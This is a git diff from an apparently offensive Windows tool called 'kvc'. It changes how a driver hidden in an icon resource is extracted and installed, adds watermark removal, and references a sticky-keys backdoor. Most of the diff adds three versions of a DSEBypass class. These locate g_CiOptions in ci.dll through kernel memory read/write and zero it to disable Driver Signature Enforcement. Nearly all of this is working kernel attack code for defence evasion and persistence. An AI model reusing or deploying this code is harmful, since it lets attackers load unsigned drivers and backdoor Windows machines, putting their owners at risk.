noexcept { @@ -232,22 +232,13 @@ bool Controller::InstallDriver() noexcept { return false; } - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) { - ERROR(L"Failed to extract encrypted driver from icon resource"); - return false; - } - - auto driverData = DecryptDriver(encryptedData); + // Extract driver (already decrypted by Utils::ExtractResourceComponents) + auto driverData = ExtractDriver(); if (driverData.empty()) { - ERROR(L"Failed to decrypt embedded driver data"); + ERROR(L"Failed to extract driver from resource"); return false; } - // ======================================================================== - // REFACTORED: Direct write with TrustedInstaller privileges - // ======================================================================== - // Get target paths fs::path driverDir = GetDriverStorePath(); fs::path driverPath = driverDir / fs::path(GetDriverFileName()); @@ -280,10 +271,7 @@ bool Controller::InstallDriver() noexcept { DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size()); - // ======================================================================== - // SERVICE REGISTRATION - // ======================================================================== - + // Register service if (!InitDynamicAPIs()) return false; GenerateFakeActivity(); @@ -326,7 +314,7 @@ bool Controller::InstallDriver() noexcept { } // ============================================================================ -// SILENT INSTALLATION (for automated operations) +// SILENT INSTALLATION // ============================================================================ bool Controller::InstallDriverSilently() noexcept { @@ -334,16 +322,10 @@ bool Controller::InstallDriverSilently() noexcept { return false; } - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) return false; - - auto driverData = DecryptDriver(encryptedData); + // Extract driver (already decrypted) + auto driverData = ExtractDriver(); if (driverData.empty()) return false; - // ======================================================================== - // REFACTORED: Direct write with TrustedInstaller privileges - // ======================================================================== - // Get target paths fs::path driverDir = GetDriverStorePath(); fs::path driverPath = driverDir / fs::path(GetDriverFileName()); @@ -444,42 +426,26 @@ bool Controller::UninstallDriver() noexcept { std::error_code ec; if (!fs::remove(driverPath, ec)) { if (ec.value() != ERROR_FILE_NOT_FOUND) { - // Try with TrustedInstaller if normal delete fails m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring()); } } return true; } + // ============================================================================ -// DRIVER EXTRACTION AND DECRYPTION +// DRIVER EXTRACTION // ============================================================================ -// Extract driver from steganographic icon resource -std::vector Controller::ExtractEncryptedDriver() noexcept { - auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); - if (iconData.size() <= 9662) { - ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); +// Extract driver from resource (already decrypted by Utils::ExtractResourceComponents) +std::vector Controller::ExtractDriver() noexcept { + std::vector kvcSysData, dllData; + + if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, dllData)) { + ERROR(L"Failed to extract kvc.sys from resource"); return {}; } - // Skip first 9662 bytes (actual icon data) to get embedded driver - return std::vector(iconData.begin() + 9662, iconData.end()); -} - -// Decrypt embedded driver using XOR cipher -std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { - if (encryptedData.empty()) { - ERROR(L"No encrypted driver data provided"); - return {}; - } - - constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; - std::vector decryptedData = encryptedData; - // Simple XOR decryption with repeating key - for (size_t i = 0; i < decryptedData.size(); ++i) { - decryptedData[i] ^= key[i % key.size()]; - } - - return decryptedData; + INFO(L"Driver extracted: %zu bytes", kvcSysData.size()); + return kvcSysData; } \ No newline at end of file diff --git a/kvc/ControllerSystemIntegration.cpp b/kvc/ControllerSystemIntegration.cpp index 5a9bc78..693957e 100644 --- a/kvc/ControllerSystemIntegration.cpp +++ b/kvc/ControllerSystemIntegration.cpp @@ -114,4 +114,27 @@ bool Controller::InstallStickyKeysBackdoor() noexcept { bool Controller::RemoveStickyKeysBackdoor() noexcept { return m_trustedInstaller.RemoveStickyKeysBackdoor(); -} \ No newline at end of file +} + +// ============================================================================ +// WATERMARK MANAGEMENT +// ============================================================================ + +bool Controller::RemoveWatermark() noexcept +{ + WatermarkManager wmManager(m_trustedInstaller); + return wmManager.RemoveWatermark(); +} + +bool Controller::RestoreWatermark() noexcept +{ + WatermarkManager wmManager(m_trustedInstaller); + return wmManager.RestoreWatermark(); +} + +std::wstring Controller::GetWatermarkStatus() noexcept +{ + WatermarkManager wmManager(m_trustedInstaller); + return wmManager.GetWatermarkStatus(); +} + diff --git a/kvc/DSEBypass_BSOD_minDebug.cpp b/kvc/DSEBypass_BSOD_minDebug.cpp new file mode 100644 index 0000000..a69f6bb --- /dev/null +++ b/kvc/DSEBypass_BSOD_minDebug.cpp @@ -0,0 +1,370 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: Test write capability - write same value back + DEBUG(L"[DSE] Testing write capability before modification..."); + if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); + return false; + } + + // Verify test write + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != m_originalValue) { + ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", + m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); + ERROR(L"[DSE] Memory region appears to be protected or monitored"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed - memory is writable"); + + // Step 5: Disable DSE by setting to 0 + DWORD newValue = 0x0; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the actual change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: Test write capability before modification + DEBUG(L"[DSE] Testing write capability before restoration..."); + if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + return false; + } + + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != currentValue) { + ERROR(L"[DSE] Memory test verification failed"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed"); + + // Step 5: Restore to original value or default (0x6) + DWORD newValue = m_originalValue ? m_originalValue : 0x6; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { + return std::nullopt; + } + + // Get PE header offset + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); + + // ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + // Check if this is CiPolicy + if (strcmp(name, "CiPolicy") == 0) { + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass_old.cpp b/kvc/DSEBypass_old.cpp new file mode 100644 index 0000000..5ab9d0f --- /dev/null +++ b/kvc/DSEBypass_old.cpp @@ -0,0 +1,369 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Same structures as in Utils.cpp +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // 1-3. Find ci.dll and g_CiOptions (bez zmian) + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // ✅ Wyłącz DSE poprzez wyzerowanie + DWORD newValue = 0x0; // Najprostsze - wyzeruj wszystko jak EfiDSEFix + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // 1-2. Find ci.dll and g_CiOptions (bez zmian) + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // ✅ Przywróć oryginalną wartość (zwykle 0x6) + DWORD newValue = m_originalValue ? m_originalValue : 0x6; // Fallback do 0x6 + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + // STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 + if (status != 0xC0000004L) { + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // DEBUG: Show first 10 modules + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // ImageName contains full path, file name is at the end + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip '\' + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Check if ImageBase is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching + } + + INFO(L"[DSE] Found %S at 0x%llX", moduleName, baseAddr); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + INFO(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate data section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + INFO(L"[DSE] Scanning section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // Skanuj całą sekcję + SIZE_T scanLimit = dataSize; + DWORD consecutiveFailures = 0; + + // ✅ DEBUG - wypisz WSZYSTKIE wartości w sekcji + INFO(L"[DSE] Dumping all DWORD values in section:"); + for (ULONG_PTR addr = dataStart; addr < dataStart + scanLimit - 4; addr += 4) { + auto value = m_rtc->Read32(addr); + + if (!value) { + consecutiveFailures++; + DEBUG(L"[DSE] 0x%llX: [READ FAILED]", addr); + if (consecutiveFailures > 20) { + ERROR(L"[DSE] Too many consecutive read failures, aborting"); + return 0; + } + continue; + } + + consecutiveFailures = 0; + DWORD val = value.value(); + + // Wypisz KAŻDĄ wartość + DEBUG(L"[DSE] 0x%llX (offset 0x%llX): 0x%08X", addr, addr - ciBase, val); + + // Pattern g_CiOptions + if ((val & 0x6) == 0x6 && val < 0x10000) { + ULONG_PTR offset = addr - ciBase; + INFO(L"[DSE] *** FOUND g_CiOptions at: 0x%llX (offset: 0x%llX, value: 0x%08X)", + addr, offset, val); + return addr; + } + } + + ERROR(L"[DSE] g_CiOptions not found in section"); + return 0; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { + return std::nullopt; + } + + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { + return std::nullopt; + } + + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + // ✅ DEBUG - wylistuj WSZYSTKIE sekcje + INFO(L"[DSE] Listing ALL sections in ci.dll:"); + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + auto characteristics = m_rtc->Read32(sectionHeader + 0x24); + + if (virtualSize && virtualAddr && characteristics) { + DWORD chars = characteristics.value(); + bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE + + INFO(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", + i, name, virtualAddr.value(), virtualSize.value(), chars, + writable ? L"[WRITABLE]" : L"[READ-ONLY]"); + } + } + + // Teraz szukaj sekcji zawierającej offset 0x4E004 + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + DWORD rva = virtualAddr.value(); + DWORD size = virtualSize.value(); + + // Sprawdź czy offset 0x4E004 jest w tej sekcji + if (0x4E004 >= rva && 0x4E004 < (rva + size)) { + INFO(L"[DSE] Section %S contains offset 0x4E004!", name); + + return std::make_pair( + moduleBase + rva, + static_cast(size) + ); + } + } + } + + ERROR(L"[DSE] No section found containing offset 0x4E004"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass_read_test.cpp b/kvc/DSEBypass_read_test.cpp new file mode 100644 index 0000000..391a3bc --- /dev/null +++ b/kvc/DSEBypass_read_test.cpp @@ -0,0 +1,394 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: Test write capability - write same value back + DEBUG(L"[DSE] Testing write capability before modification..."); + if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); + return false; + } + + // Verify test write + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != m_originalValue) { + ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", + m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); + ERROR(L"[DSE] Memory region appears to be protected or monitored"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed - memory is writable"); + + // Step 5: Disable DSE by setting to 0 + DWORD newValue = 0x0; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the actual change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { 